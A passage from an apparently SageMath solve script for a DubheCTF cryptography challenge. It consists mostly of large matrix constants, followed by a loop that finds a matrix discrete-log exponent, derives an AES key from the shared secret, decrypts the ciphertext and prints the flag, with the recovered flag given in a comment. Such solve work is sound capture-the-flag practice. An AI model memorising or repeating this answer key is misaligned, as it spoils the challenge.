425619133444363921424997290076640521818392237765846808752574276410143363345415554778390709041576121289827574172927648327735187994167401357321923150670091353484782100262707249121522546736382705264813767209798061036899739756848910161, 126526992636367892617730575655458897545176503731548506246035871874868930716873202248536374101465071091953788814887596165754808584687556930532786106270188864797354792234026904976690713353210013872592075040061047222298385979455348552, 292547294361964649944052202224409400888129073046226078265221761027156642578028652869177362910249751847468882936457900905389470620921344986318146642384554315571817070881057642081542122903617295734256644650230590284956624919139280389, 290885030576189351836260311202947092166870714101795962185503257898312668761241997952036122331738248280772791798286278342542990004564734791050077531599221175244837628823681652015346122616003994498775357759076565750882950497513350374)]
Mb = [(452904818193039805256768769164475282389784941291299908689400370366615058750946281832344614194737265002981172639519709888150456889583308441975270391798687395301550632746246427974825660113643569647743179092865179447780207248646729335, 404639866348938118315548736376442690427520827256788291920792546804075878116026454590098829891936074866156976011260608573062878897832194507215366825089159659422966797199054745686484999318262503750949719195259339974169486730915431146, 213477282957393076405285724454233042923584506001517474647441483998602869851426756346959093584866835295517668445098059578059766531360013500797926865327576375163993143693316163726440138255524624704091893666776571529099776840111148666, 189684910152266380379860438738137573195835259313981628687330163389320360386879823828441404518184238115769505346633555090279577171253984042364854407659105992235558301877788518368102872696362867299215087772085419503833724737128114491, 162037281043570811150345846857518949299344132641363714661582729646796505254510127669848510481399398533708958177729919266976329370836029071345298680098334438631087015073748294072480500122041673030932846895717623746236333881940489258, 35766095621072903032082812519160090172517549166056749189560403740357820028003934127517647407458914815034684840491337335797320862983299717749398240847405900382359937295624170653916841357509854187117114252379530697262250785309125661, 20810592951875878094461663966787419243666321848957214182823631830301596332253219517828937466269769656016013293222213493810282398600564098455636587287613806082422324171924843264395148887822594884913910045257249052144162339838360138, 421166625882975138342595816092287476568583448897879208348708790346587612284814681700682949792149617669946496117592551705875737147762820716637068837845307193922944735444411667788843253356095559252089916075279340648315444502668987987), (285925551001039340149753541928559312964375311177217983252344185178820303624132891387771484757408664791064681484408895573118765723252067014626231512471372570309100370171354846767865261242957388120771345534988602792670496840317353316, 164246498938177720590700056462053685237525878063232752401198309423523923349490885137424378754999238652403175626896161248304082671000587768275728739746394517570825012558593346700684472517921228774167452493783226243991693596668033330, 333886077519194069722715468566623153665964631091808554972291826855965329975343179931284895606118086443677492719031138367611098017228121376747916733751709962747073152581033639793511645857943186432991268071210565123320851479459058708, 115675148378744059725764267349270274141861705520223270686955058913824359358037473978221799979560889320118197498566797447003887651278393698705754514069517102474025590939557954485192463528157572803021706860165662456232725087775228884, 160386883759466150061387175402508199526191384796108758588280558561382589129734577583847726708964338950258263432258309006152415351395459690481364932329215351876127671255108697767702820311902226682488835502910723726508080312199734347, 100141701967742149198986840091380264975016081492978249442304714626330387380018150295177055582231694053446201714814932404336231717286766943966369467308248464005027511313994809298125320423093537130129802295097095012946125164302440859, 152727816916083301331205862926781551893690431056920810348397475605705956782737852824989384625303753393433169913102283572028370922697507822970063015181479650490564711371857109908782898620726634878253643536476630608840009121527087541, 343710560628249841860382522712422233679803175731149638795788642251216545784182005026570498716061303188799029550891459189755289995686076814861164505831197392994791572818804759690369053982508298117686293764883879875479870047211684912), (378260912515269279750370403809493347685732788785541008517296604578773100642041770311738905019051931715707652325075668157454115984142002648855664285594515582791596577031096682578640518780731147917267145712423079795196492195877348390, 443022718492066559829907730409835659350960769049945409040998641818444592200187841848444645204882226448096759628485648043618498507963507941477424695385910297531967964130978742624279325893154540484897225134537026261435763714098993691, 442905181440137262223409015597038750618845392645769378673790890129835371716759590931273254923160927221274568032631771328802889778591346799504357849664003139186389045739176628392772263832999551054112834087100458591803289163566802189, 141653499735013336654452846961260973323553652482077622278457423548688448378222975783370917668602785107754139144374098030106910801602680923188172708356773541363592216192170407914803481026332151021727531779457197975383010423341327135, 206133947184082327873183220534356378539751761951131105378728599517430884433257676861822578196923580409088488212309043363818960680807071613598562819855906218078420033549592615413101490685423668327061816115423127046198519993548576968, 307572546684922436968885828801658694803981817530099687130357384831733120009278534607116300805825799773356555720497625324553113018305369240294956847409131947344948127122651057400035711580016019560662120191084141176418027378954911443, 200367857160112404692345376020057458843878718204928444811970979326809843961436056879010958354347906776120439066364334528144552152629020345373878791255007860741687919369825898487635320588864896948318099763490893242745876874974777650, 196546423432758820405123181623832627058810530950048974634360413482965248460342204639698707272721101851704215046156412539941174507954378732882865511908731876159876500375780990537579111455651150241805008018830807367470118051276346354), (323668292496079814695571945474095449405338628795428110261173317541751151715334942174504302607588804610756599613959331768612846039034984663526994324565105625272783569662264239426200304233319697938610040898888577008548627774431479732, 140699034074122065256106025232290116272375502021253445854144545363650205473479786983379712831489839951490301751164687395163061139738925263346634927185843696941561452009483828044594070804111466954589139542999392394730689690137733865, 380375936986845038871551809892622465639125005771844519114116434850737110021853855219657706660385238694144858204780903234710046527915985563580310037104743122856073826627642730329850308370601926063577743719583636370982332985555305202, 222721615037081006017618568159299553589116460060630771488412634838613486629595555102383711051074576819743764513171179361670244517032766426600736379181343009675113064626929753379487982248283719915689208967760768488998141481956037486, 137109026272557582450676903590369330529907655859595897117236909773986711607577579013419357709132422334383225834738853489722446611069245771152984684696927411450169127775236269459102313200207740725978443543821507856268390820308368097, 282819847109111875211548657561432856292512712750918517890307608355678960751465449157510760794084723393662477858027766206433994368962842083386543062308360799675451066488346908987431370491067755061823090317508723313278017701827530477, 17766098737960831446535735537114926624396408289721089223313388268361139788962706083920780819581240150208342519617168807370449807513295636657806358216912689336095576730416148100913474979024030097219996107872237252636810191462774121, 28039555921859855903147577222205655580237033940604282525328349495963197823028023887102561612611155530884934114983775602989240216330992544648122757775772623060959691634439226243652380496710513058892499174292813637646805348005558099), (196780113321008839279775971806078435491124639299885679528974657578950041985901967215248120218297697420672022570582393242604356896218145470629598910164003805465623321716656791192044040020140378989040436755649052059670554105838360973, 60365964129141780376309817223172211351106512478955416338459077640975589720345790479762899297685489996852458672755660668139031267846349831758827353831309129868216074410595241870440951245153099737770602868609363612686930511645494573, 13758053418275401595560247022924346881263463429411414531719482390263307633002989951880349016851689423426394319313377419637931537576985029259452258546132221588901488644177370323194341827366233872821281971632078790266162658349998961, 456208470774518580939949376064682078482049719607907459690097280073638161608842360085009530094331293796933273260641685332956259369260204186208250417890186497384192581448665118675448937221237109452946274129683167496769689742255678035, 150223822852321275563525510091097039479787434157193536492192820409576956223323789904628476393193714924115047415652735241422331696129313553661156761646520993142383572119256375854028647414720832048113239054367159207427346592950389732, 68505521449766005252785930672715662075655294861424981807673071793129364231524891137174676574704976057084082061339817617542761392798518458926238368862446223981127513210933386682636085083104846184471547721186386545450541957799611475, 198409958689859354861155087622902179335611284034702139083291649113639945818107615873946631117647588412271720615969025070289647696440057605931537093898298764594250314729500257651015592230408175244623745044335259219271085033396941652, 180686784241566922902875966772921342218490935837334434846529343653453860221683328267701500998902635502480178631072520811242900066928189982690815004073492900171942684820719841486746241367361352708319624233982154707503104492452428049), (135291065328327055945680676329512075628922163013070432065200521588814858478010611106201867921436691784846271579704959895434049745753213048150465082378310724123176075858165242204601910158194510692598478525334699531677888030825146009, 107648657036507820455839154599282144820928118251959687132846418951132271710795131321708708173332682170118695319785699815172170832456171961590249399806120858576622175573135668042965054319273266136178681187804056034343672556689383177, 444439219438063589780185211715966524364773197685844443145920739209434813677537906686389057430851101989528526827249115180778068690349005858119233602019492587178352639937666281224355908189904174912378526586502026041908132810030399858, 303685185641655654806311740386381700661140643746271182862984377254057167075470223309850167668000129035529735250158603431166045230356870531321386875578198077310885518561805206624278279865734994090139700730804449034879953452769405053, 475972946973456406149137884044129543057512128366110867538290518786782463232662910835157506188724643112982982373523310088499730671761782490805435826849200519880272465961891066031526038538828559954395932129564988466509175028533881386, 167858990822053569889619706038237502315379960409198585540535001984976484218102301507661813634072062920841258648880027388151763336839372709812559382314337316028576273644639083778496560295818513866709322268570064455259371240961918646, 299987466157221862954623924201456599212552394044712682628816790610247159630717806315403463592071710314625809462246782227750702635108352257578996235008353539868875533318440508895987124353657033351892794978334779078322197714388681044, 275806757295949366848339642625270473753526337140187094741027128380081183764327761157984949177360325630653114535671142832112927687706361594796791487522845781216969810387004486184626474335017374632193157269613644575327115907168465715), (454203567324690951796337243511289947831623918865661303691904961359350970269882858427374495049913360353749003113401759269223421940342615094812382341830735191260027705120222088381530352626858649956458095472485711713187288992426687490, 13642875655579768425151737966244180198947185085905631655572975660112241401153998562410356333470883695218902038990526700355340775651598942318758022716249258621273510705017018922682940158017250829572427482270236797910481339221976706, 38529347486606269299865410805451621470813361410621199206768752562324097679725197412877165383863583629436075322608680605695968048074898223348599601672390409395585193305010186702355551820088519048067553439060690128734413639835564496, 55342853775111293342985871325646311760560732310330582384209471489391682876192058425231753051825822823386860240196103545803592432425359915025414286069570429697894868099475064000126231250581177601134399456333023946818639768307814245, 363528894569144546285063286175419468475540323169723345963982240307165070786643651094936597735070984235467876537423782483522087439764388848712261276354833228908296216559496061503997094749695863756068550840417441997165542096835660189, 169199758247527407688962836099334305761474456130020474155548835335215235690636038890587287595919166771295302325890465219103366346841001262210448258193670483713058207797050107489056346915080744929601966894262203332459456992626841524, 485757167924083919411499325903821922922195250972710206289141869217502287881496553476033839772232174977204573929554514685722664479668503656051931435811463913801094100439227567256856913737806255900292907345160950691691920166276292294, 100798615587233335868789319190017274254311873225721885186080547398477587781853383079499707517174714192458389344546896387529556798757019581597671934385624492485710156803041295010657704564112546772933090355861833325587923175776609861), (331320173364241756473750613594679834966352638058616497006703277455486858025715277822573375828520579067357662103419072707905296047713395897867924256442125076823450899070145592826836753250008709635526509094145101077866691541611488341, 25958772122849545887904510346509424385237332422393104441759009034527059119832033504068470300633874029294186326391890843622323811547756247737946640304484002010212539617397493747447172691314406987045000538726558988723752185288910027, 327102186995964461431775477450650835610431392251263291394684476628946931163313583551363572205117072518273574078240825139802058966950448166329382695841179033158282922762845436965299294491896455630627672764613848988618257951422059142, 394497494212228957802161190551839893481026112921073006532717343918965053941044462269265192018544466243819410636859696105900807857945938277287096901753440382450665985941730017527071773670359445658748273109535241633372781115609747750, 196327636535834262823234989305369357419961720812917902067993918713246915741342549382350254927967631763431350030121972530114911142554901931685383740299842490811582252047276281475306432943230385998384367776221931304690864560849850420, 176932605675163638623737818984197320151982137512169618344579481022898847208518789399153716373931873240794480141083247379144061730043106575672330616416741075136214426389262519416045566261083801954628853228827405415017118885444300324, 135488753544438346082349500899241536734004471666256119487460208946420284497778060807426198837933645282357528921572001755575856253492005187326486342054804799491756203325714994403233823349487862206036023974163288299130085199238683721, 365062669360722114544317005086432120910385110052754362782363190846202997782318740730213832848747837514689498427698897287966155790204268135850059318591883189932618970014230585224284143115369049852849734180739142839917594963064637971)]
ct = 0xb7df98ace3796355c2a3a9230760569b53814889e975fe2f50992b3e1683898d918ab7f392f80628b7a0dc3a43e854b7
M = matrix(G, M)
Mb = matrix(G, Mb)
Ma = matrix(G, Ma)
while 1:
if M^a==Ma:
S=Mb**a
key = sha256(S.str().encode()).digest()
ct="b7df98ace3796355c2a3a9230760569b53814889e975fe2f50992b3e1683898d918ab7f392f80628b7a0dc3a43e854b7"
ct=bytes.fromhex(ct)
flag = AES.new(key, AES.MODE_ECB).decrypt(ct)
print(flag)
break
a += module * (p ^ 2)
# b'DubheCTF{f8a014ae-d907-11ee-b427-d5accb963a48}\x02\x02'